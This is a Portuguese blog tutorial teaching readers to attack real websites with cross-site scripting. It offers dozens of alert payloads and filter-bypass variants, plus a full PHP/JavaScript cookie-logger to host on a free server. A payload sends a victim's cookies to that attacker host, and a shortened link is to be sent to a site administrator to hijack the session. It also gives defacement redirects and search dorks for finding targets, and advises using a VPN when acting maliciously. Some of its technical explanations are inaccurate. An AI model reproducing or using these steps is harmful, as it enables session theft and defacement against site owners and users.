Tutorial XSS Completo

Resultado de imagem para xss
O que é o XSS?

XSS significa Cross-Site-Scripting. É basicamente um ataque, que é usado para executar HTML e Javascript na página da web. Esse ataque pode ser feito enviando consultas para caixas de texto ou até mesmo para o URL. Os resultados voltam a ler o texto como HTML, portanto, ele executa os scripts em vez de exibi-los em texto simples. Com um ataque XSS, você pode roubar cookies de um administrador da
Web, ou até mesmo usar alguma engenharia social para manipular alguém para baixar um vírus que você criou. Tal como uma botnet, ou RAT, talvez até mesmo um Keylogger. O XSS pode ser muito perigoso, mas também pode ser muito leve. A maioria dos meus ataques são leves ataques XSS, que podem ser difíceis de usar contra um site. Há muitas maneiras de usar o XSS a seu favor. Vou citar alguns exemplos. Você pode usar uma caixa de alerta para anunciar a si mesmo ou alertar o administrador da web que você ve descobriu uma violação de segurança envolvendo XSS. Você também pode configurar um Cookie Stealer / Logger. Tudo o que você pode fazer com HTML pode ser usado contra um site com esse ataque. Vou explicar alguns dos termos mais importantes associados ao XSS.


O que é HTML e Javascript?

HTML
HTML é uma espécie de linguagem de programação. As distinções entre uma linguagem de programação e HTML não estão muito distantes umas das outras. Ambos são idiomas, usados para criar atributos e eventos. HTML é uma linguagem de marcação, que é usada principalmente para criar sites. HTML significa Hyper-Text Markup Language. Você pode usar HTML para criar formulários, botões e outras coisas que podem ser usadas em uma página da Web. Eu duvido que você nunca vai encontrar um site que não contém sequer uma pequena quantidade de HTML.
Javascript
Agora, primeiro, vamos esclarecer uma coisa. Há uma diferença enorme entre JAVA e JAVASCRIPT. Java, é uma linguagem que se assemelha ao C ++, pode ser usada em jogos e aplicativos. Javascript é um pouco semelhante ao HTML, mas definitivamente diferente em muitos aspectos. Javascript não é usado quase tanto em páginas da Web do que HTML é. Javascript é usado, mais em aplicativos fora de páginas da web. Como PDFs. Javascript pode ser uma linguagem incrivelmente útil junto com HTML. Ambos são bastante simples de aprender e são muito dinâmicos.

XSS: Meu primeiro ataque. 
Agora, vamos começar a entrar nas coisas realmente boas. Nesta seção, explicarei como usar o XSS a seu favor. Nós também estaremos lançando nosso primeiro ataque com XSS, se você sabe o básico para XSS, você pode pular esta seção, porque eu duvido que você aprenda qualquer coisa que você não saiba ainda brevemente. 

Agora, nosso primeiro passo, obviamente, é encontrar um site vulnerável. Encontrar um site vulnerável ao XSS é muito mais fácil do que encontrar um site vulnerável ao SQLi. O problema é que pode levar tempo para determinar se o site é realmente vulnerável. Com o SQLi, você pode simplesmente adicionar um pouco '. Mas no XSS, você deve enviar (às vezes) várias consultas para testar seu site para XSS.

Os sites mais vulneráveis conterão uma área de pesquisa, login ou registro. Praticamente em qualquer lugar que contenha uma caixa de texto, pode ser explorada com o XSS. No entanto, muitas pessoas esquecem esse fato e nunca o usam em todo o seu potencial, porque acham que é inútil. Você também pode explorar o XSS através da fonte. Você não pode simplesmente pegar qualquer script e editar a coisa completa. Mas editar um script "onmouseover" é definitivamente uma exceção. Eu estarei explicando este método de XSS mais tarde, por enquanto, precisamos do básico completo. 

De qualquer forma, nosso site deve ter algumas caixas de texto para inserir algum HTML. Eu simplesmente usarei uma barra de pesquisa. 

Então, vamos tentar colocar a consulta BASIC mais conhecida de todos os tempos.
Código:
<script>alert("XSS")</script>

Esse pequeno script é HTML. Ele fará uma pequena mensagem aparecer, dizendo "XSS". Você pode editar essa parte se quiser. Apenas não edite outras partes do script. Coloque isso na sua barra de pesquisa e pressione Enter. Agora, se uma pequena caixa de alerta apareceu, você atacou com sucesso um site vulnerável ao XSS! Se nenhuma caixa apareceu, tudo bem, porque isso significa que o site levou algum tempo para colocar um filtro. Um filtro, é quando procuramos algo, então passa por um mini processo, basicamente uma inspeção. Ele verifica se há alguma coisa maliciosa (perigosa). Nesse caso, ele procurará pelo XSS. Às vezes, esses filtros são muito fracos e podem ser contornados com muita facilidade, outras vezes, podem ser muito difíceis de contornar. Há muitas maneiras de ignorar um filtro XSS. Primeiro, precisamos descobrir o que o filtro está bloqueando. Na maior parte do tempo, está bloqueando o alerta. Aqui está um exemplo desse tipo de filtro:
Código:
<script>alert("XSS")</script>
>
Código:
<script>alert( > XSS DETECTED < )</script>

Ele irá bloquear as cotações. Então, como diabos nós passamos isso? Bem, felizmente há uma maneira de criptografar a mensagem completa :). Nós estaremos usando uma pequena função chamada "String.FromCharCode". O nome disso praticamente explica tudo. Ele criptografa nosso texto em ASCII. Um exemplo dessa criptografia seria assim:
Código:
String.fromCharCode(88,83,83)

Sim, pode ser um pouco confuso, mas com um pouco de explicação e teste, é bastante simples. Aqui está a aparência da nossa consulta completa:
Código:
<script>alert(String.fromCharCode(88,83,83))</script>

Você não precisa de quaisquer citações na consulta simples como essa. Então vamos colocar isso de volta na barra de pesquisa, e voila! Funcionou! Temos uma caixa de alerta dizendo "XSS"! Se você ainda não recebeu nenhuma caixa de alerta, tente algumas dessas consultas que eu gostaria de usar:
Código:
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83))</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))

Sim, eu acabei de escrever todas essas informações, e demorou mais do que deveria, mas todas funcionam do seu jeito, então tente o máximo que puder. Eu ataquei alguns sites muito grandes com algumas dessas perguntas. Eu crio minhas próprias perguntas às vezes, você deve criar algumas também, elas podem ser muito úteis.

XSS: métodos avançados

Agora, nesta seção, estarei compartilhando algumas maneiras de usar o XSS maliciosamente contra um site. Agora, lembre-se de que todos os ataques maliciosos enviados a um sistema, site ou servidor são ilegais e você pode ser processado por essas ações. Por isso use SEMPRE proteção se você estiver planejando fazer algo malicioso no site. Se você quiser fazer uma pequena caixa de alerta aparecer, você não precisará de um proxy / VPN.

Cookie Stealing / Logging
Agora, o cookie stealing é a coisa mais maliciosa que podemos fazer com XSS não persistente. Um ladrão de cookies, registrará os cookies do usuário que acessa a página para um determinado documento. A maneira mais fácil de fazer isso seria com um processo de três etapas. 

Primeiro, você deve configurar um site. Pessoalmente, acho http://www.000webhost.com/ o melhor para fazer upload de códigos maliciosos, programas ou qualquer outra coisa. Então vá em frente e registre-se lá.

Agora, depois de criar seu site, vá para o gerenciador de arquivos. Crie um novo arquivo. Chame de "CookieLog.txt". Deixe o código em branco. Agora, crie outro arquivo depois disso, chamado "CookieLogger.php". Em CookieLogger.php, precisamos adicionar algum código para que ele envie os cookies que registramos em nosso log de cookies. Adicione este código a ele (apenas certifique-se de que o nome do arquivo tenha .php, ou então ele não executará o código PHP (que é um problema enorme)).
Código:
<?php
/*
* Created on 16. april. 2007
* Created by Audun Larsen (audun@munio.no)
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./CookieLog.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

// ==
//  URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
//  web site you include a credit somewhere on the web site
//  with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +  // Numeric
  "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
  "abcdefghijklmnopqrstuvwxyz" +
  "-_.!~*'()";  // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
  var ch = plaintext.charAt(i);
  if (ch == " ") {
    encoded += "+";    // x-www-urlencoded, rather than %20
  } else if (SAFECHARS.indexOf(ch) != -1) {
    encoded += ch;
  } else {
    var charCode = ch.charCodeAt(0);
    if (charCode > 255) {
    alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
    "(URL encoding only supports 8-bit characters.)\n" +
    "A space (+) will be substituted." );
    encoded += "+";
    } else {
    encoded += "%";
    encoded += HEX.charAt((charCode >> 4) & 0xF);
    encoded += HEX.charAt(charCode & 0xF);
    }
  }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

Agora que temos nosso script Cookie Logger, podemos enviar o cookie logger para o nosso melhor amigo, o Web-Admin :). Para fazer isso, devemos provavelmente o URL minúsculo. Ou se você puder descobrir como falsificar a URL, isso também funcionará. 

Para o URL minúsculo, acesse http://www.tinyurl.com/ e coloque o URL. Mas espere um, precisamos adicionar um script em nossa vulnerabilidade XSS. Este é o script que iniciará nosso registro de cookies.
Código:
<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

Então, basta adicionar esse script após o URL, diminuí-lo e enviá-lo para o nosso administrador da Web. Agora, isso pode levar algum tempo para que o administrador realmente clique nele. Às vezes, o Administrador não clica nele, por isso, se demorar muito, você deve desistir e encontrar outra maneira de explorá-lo. 

Depois de obter o cookie, você pode usar o addon "Cookie Manager" do Firefox para manipular e editar os cookies para que você possa seqüestrar a sessão de administradores. Acho que o Cookie Manager é um aplicativo muito útil para o XSS, certifique-se de baixá-lo.

Desfigurando
A definição é uma das coisas mais comuns que as pessoas gostam de fazer quando têm acesso a várias opções de administrador. Principalmente para que eles possam se anunciar e simplesmente informar ao administrador que sua segurança foi violada. De qualquer forma, desfigurar com XSS requer persistente XSS, talvez uma caixa de comentário, ou algo assim. Você pode usar este script para criar um redirecionamento para sua página de desfiguração (você provavelmente deve redirecioná-lo para o seu desface em Pastehtml.com, porque é um carregamento anônimo).
Código:
<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>


XSS: Onmouseover
Onmousover não é uma vulnerabilidade muito explorável. Mas ainda assim, é considerado XSS. Uma vulnerabilidade onmouseover seria algo como isto:
Código:
onmouseover=prompt1337

Podemos explorar isso, editando-o para:
Código:
onmouseover=alert("XSS")

Vulnerabilidade muito básica, mas está ficando mais notada e corrigida em muito mais sites. A maioria dos sites usará Adobe Flash ou CSS para fazer esse tipo de efeitos agora.

Técnicas de bypass de filtro XSS
Às vezes, uma simples consulta XSS simplesmente não funciona. A razão pela qual sua consulta não está funcionando é porque o site tem um WAF ou um filtro definido. Um filtro bloqueará quantas consultas XSS e SQLi forem possíveis. Neste caso, estamos lidando com o XSS. 

Há muitas maneiras de contornar os filtros XSS, mas vou explicar apenas alguns.

Hex ignorando
Com caracteres bloqueados como>, <e /, é muito difícil executar uma consulta XSS. Não se preocupe, há sempre uma solução :) Você pode mudar seus personagens, em Hex. Um Hex de um certo personagem, é basicamente o personagem, mas em um formato diferente. Estes devem ajudá-lo: 

> =% 3c 
<=% 3c 
/ =% 2f

Bypass ASCII
Com uma criptografia ASCII, podemos usar o caractere ". O que é bloqueado um pouco. Esse é um dos desvios mais comuns do Filtro XSS de todos os tempos. Um script que você precisaria criptografar ficaria assim: 

NÃO TRABALHANDO SCRIPT
Código:
<script>alert("XSS")</script>

SCRIPT DE TRABALHO
Código:
<script>alert(String.fromCharCode(88,83,83))</script>

Para criptografar sua pequena parte de um script, acesse este site: http://www.wocares.com/noquote.php Eu uso esse site e o acho bastante útil.

Bypassing sensível a maiúsculas e minúsculas
Esse tipo de desvio raramente funciona, mas vale sempre a pena. Alguns filtros são definidos para detectar certas strings, no entanto, as strings do filtro que são bloqueadas são CASE SENSITIVE. Então, tudo o que precisamos fazer é executar um script com diferentes tamanhos de caracteres. Este desvio, ficaria assim:
Código:
<ScRiPt>aLeRt("XSS")</ScRiPt>

Você também pode misturar isso com criptografia ASCII, se quiser. Esse tipo de desvio só funciona em filtros realmente estúpidos, ou realmente muito antigos.

Alguns Dork XSS
Geralmente é melhor criar / encontrar seus próprios dorks, mas neste tutorial, vou escrever alguns reais para compartilhar:
Código:
inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx

Nenhum comentário:

Postar um comentário

Recomendado